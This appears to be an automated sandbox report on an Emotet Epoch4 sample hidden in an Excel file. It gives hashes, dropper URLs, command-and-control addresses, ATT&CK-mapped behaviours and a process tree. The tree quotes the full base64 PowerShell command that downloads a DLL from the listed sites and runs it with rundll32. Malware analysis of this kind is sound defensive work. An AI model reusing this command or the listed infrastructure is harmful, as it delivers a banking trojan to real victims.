emotet | acf1ba3f392d68bfced8401fcc90cd708bb75d16dcf43cfa814618357b848c17

Analysis

max time kernel
120s
max time network
143s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 12:12

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General

Target
TQBWT5231108109918051524.xls
Size 142KB
Sample220125-pc7qwsfecr
SHA256 acf1ba3f392d68bfced8401fcc90cd708bb75d16dcf43cfa814618357b848c17
MD5 c93c33657527b381e10644c721640016
SHA1 094e347548684916aa05d9530456f4bb1e4c42fe
SHA512 b54a3ff1fb41b06cbce7b95ee0c79706e7fb1e830849c27db45aa3ce907dfed94dbb98ddb5912de42bbafb77fb6122905f0ed090e668d95296586cd76b5136ae
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://rkeeperua.com/include/FXBsVAOd1U/
exe.dropper
http://pozhadvokat.com/images/QmZXA9kRUU8xZZF/
exe.dropper
http://queens.renovatiog.ltd/wp-includes/LDH/
exe.dropper
http://renovatiomarketing.com/renovatiomarketing.com/A/
exe.dropper
http://remedy.eventmasti.com/vendor/Y2XclYoCdDzSSua/
exe.dropper
http://ppdbsma.insanrabbany.sch.id/gkvvb/sXVYo8HsPSFQh/
exe.dropper
http://pinnaclehomesusa.net/870xg9/pNp3a1iHCKaZwYEV/
exe.dropper
http://dandtpremierhomes.com/eapn/lpN6dcAppn/
exe.dropper
http://keluargamalaysia.bliblah.com/cgi-bin/FUzc3KOKN3DNeee/
exe.dropper
http://crisbdev.com/wp-content/2dmXYgLVdkV/

Extracted

Family

emotet

Botnet

Epoch4

45.80.148.200:443
80.211.3.13:8080
110.232.117.186:8080
45.142.114.231:8080
131.100.24.231:80
107.182.225.142:8080
45.118.135.203:7080
164.68.99.3:8080
212.237.56.116:7080
41.76.108.46:8080
58.227.42.236:80
104.168.155.129:8080
79.172.212.216:8080
192.254.71.210:443
51.38.71.0:443
217.182.143.207:443
203.114.109.124:443
185.157.82.211:8080
173.212.193.249:8080
45.176.232.124:443
158.69.222.101:443
212.237.17.99:8080
207.38.84.195:8080
195.154.133.20:443
162.243.175.63:443
138.185.72.26:8080
103.8.26.102:8080
103.8.26.103:8080
50.116.54.215:443
178.79.147.66:8080
45.118.115.99:8080
178.63.25.185:443
46.55.222.11:443
103.75.201.2:443
81.0.236.90:443
176.104.106.96:8080
162.214.50.39:7080
212.237.5.209:443
209.59.138.75:7080
216.158.226.206:443
104.251.214.46:8080
212.24.98.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2360	2648	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 8 IoCs

flow	pid	Process
36	2148	powershell.exe
38	2148	powershell.exe
39	3424	rundll32.exe
40	3424	rundll32.exe
41	3424	rundll32.exe
42	3424	rundll32.exe
43	3424	rundll32.exe
44	3424	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3784	rundll32.exe
640	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Squli\wkszntesouheq.hxn	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2648	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2148	powershell.exe
2148	powershell.exe
2148	powershell.exe
3424	rundll32.exe
3424	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE
2648	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2648 wrote to memory of 2360	2648	EXCEL.EXE	71
PID 2648 wrote to memory of 2360	2648	EXCEL.EXE	71
PID 2360 wrote to memory of 2148	2360	cmd.exe	73
PID 2360 wrote to memory of 2148	2360	cmd.exe	73
PID 2148 wrote to memory of 3784	2148	powershell.exe	74
PID 2148 wrote to memory of 3784	2148	powershell.exe	74
PID 2148 wrote to memory of 3784	2148	powershell.exe	74
PID 3784 wrote to memory of 640	3784	rundll32.exe	75
PID 3784 wrote to memory of 640	3784	rundll32.exe	75
PID 3784 wrote to memory of 640	3784	rundll32.exe	75
PID 640 wrote to memory of 520	640	rundll32.exe	76
PID 640 wrote to memory of 520	640	rundll32.exe	76
PID 640 wrote to memory of 520	640	rundll32.exe	76
PID 520 wrote to memory of 3424	520	rundll32.exe	77
PID 520 wrote to memory of 3424	520	rundll32.exe	77
PID 520 wrote to memory of 3424	520	rundll32.exe	77

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\TQBWT5231108109918051524.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\rtyusdj.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcgBrAGUAZQBwAGUAcgB1AGEALgBjAG8AbQAvAGkAbgBjAGwAdQBkAGUALwBGAFgAQgBzAFYAQQBPAGQAMQBVAC8ALABoAHQAdABwADoALwAvAHAAbwB6AGgAYQBkAHYAbwBrAGEAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBRAG0AWgBYAEEAOQBrAFIAVQBVADgAeABaAFoARgAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AcwAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwARABIAC8ALABoAHQAdABwADoALwAvAHIAZQBuAG8AdgBhAHQAaQBvAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwByAGUAbgBvAHYAYQB0AGkAbwBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AQQAvACwAaAB0AHQAcAA6AC8ALwByAGUAbQBlAGQAeQAuAGUAdgBlAG4AdABtAGEAcwB0AGkALgBjAG8AbQAvAHYAZQBuAGQAbwByAC8AWQAyAFgAYwBsAFkAbwBDAGQARAB6AFMAUwB1AGEALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AYQAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBnAGsAdgB2AGIALwBzAFgAVgBZAG8AOABIAHMAUABTAEYAUQBoAC8ALABoAHQAdABwADoALwAvAHAAaQBuAG4AYQBjAGwAZQBoAG8AbQBlAHMAdQBzAGEALgBuAGUAdAAvADgANwAwAHgAZwA5AC8AcABOAHAAMwBhADEAaQBIAEMASwBhAFoAdwBZAEUAVgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAbgBkAHQAcAByAGUAbQBpAGUAcgBoAG8AbQBlAHMALgBjAG8AbQAvAGUAYQBwAG4ALwBsAHAATgA2AGQAYwBBAHAAcABuAC8ALABoAHQAdABwADoALwAvAGsAZQBsAHUAYQByAGcAYQBtAGEAbABhAHkAcwBpAGEALgBiAGwAaQBiAGwAYQBoAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ARgBVAHoAYwAzAEsATwBLAE4AMwBEAE4AZQBlAGUALwAsAGgAdAB0AHAAOgAvAC8AYwByAGkAcwBiAGQAZQB2AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMgBkAG0AWABZAGcATABWAGQAawBWAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\135293625.dll,f1673375961
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:3784
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\135293625.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:640
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Squli\wkszntesouheq.hxn",osGBiR
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:520
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Squli\wkszntesouheq.hxn",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3424

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/640-1732-0x0000000005190000-0x00000000051B5000-memory.dmp

Download

memory/640-1730-0x0000000004FF0000-0x0000000005015000-memory.dmp

Download

memory/640-1728-0x0000000004F90000-0x0000000004FB5000-memory.dmp

Download

memory/640-1725-0x0000000004F30000-0x0000000004F55000-memory.dmp

Download

memory/640-1723-0x0000000004DD0000-0x0000000004DF5000-memory.dmp

Download

memory/2148-1536-0x00000150C9473000-0x00000150C9475000-memory.dmp

Download

memory/2148-1528-0x00000150C9760000-0x00000150C97D6000-memory.dmp

Download

memory/2148-1679-0x00000150CA330000-0x00000150CAAD6000-memory.dmp

Download

memory/2148-1707-0x00000150C9478000-0x00000150C9479000-memory.dmp

Download

memory/2148-1557-0x00000150C9476000-0x00000150C9478000-memory.dmp

Download

memory/2148-1494-0x00000150C9420000-0x00000150C9442000-memory.dmp

Download

memory/2148-1534-0x00000150C9470000-0x00000150C9472000-memory.dmp

Download

memory/2648-116-0x00007FF879910000-0x00007FF879920000-memory.dmp

Download

memory/2648-115-0x00007FF879910000-0x00007FF879920000-memory.dmp

Download

memory/3424-1735-0x0000000004430000-0x0000000004455000-memory.dmp

Download

memory/3424-1766-0x0000000004C40000-0x0000000004C65000-memory.dmp

Download

memory/3424-1768-0x0000000004D20000-0x0000000004D45000-memory.dmp

Download

memory/3424-1770-0x0000000004E00000-0x0000000004E25000-memory.dmp

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memory/3424-1775-0x0000000004EE0000-0x0000000004F05000-memory.dmp

Download

memory/3424-1785-0x0000000004FD0000-0x0000000004FF5000-memory.dmp

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memory/3424-1787-0x00000000051C0000-0x00000000051E5000-memory.dmp

Download

memory/3424-1789-0x0000000005240000-0x0000000005265000-memory.dmp

Download

memory/3784-1715-0x00000000045A0000-0x00000000045C5000-memory.dmp

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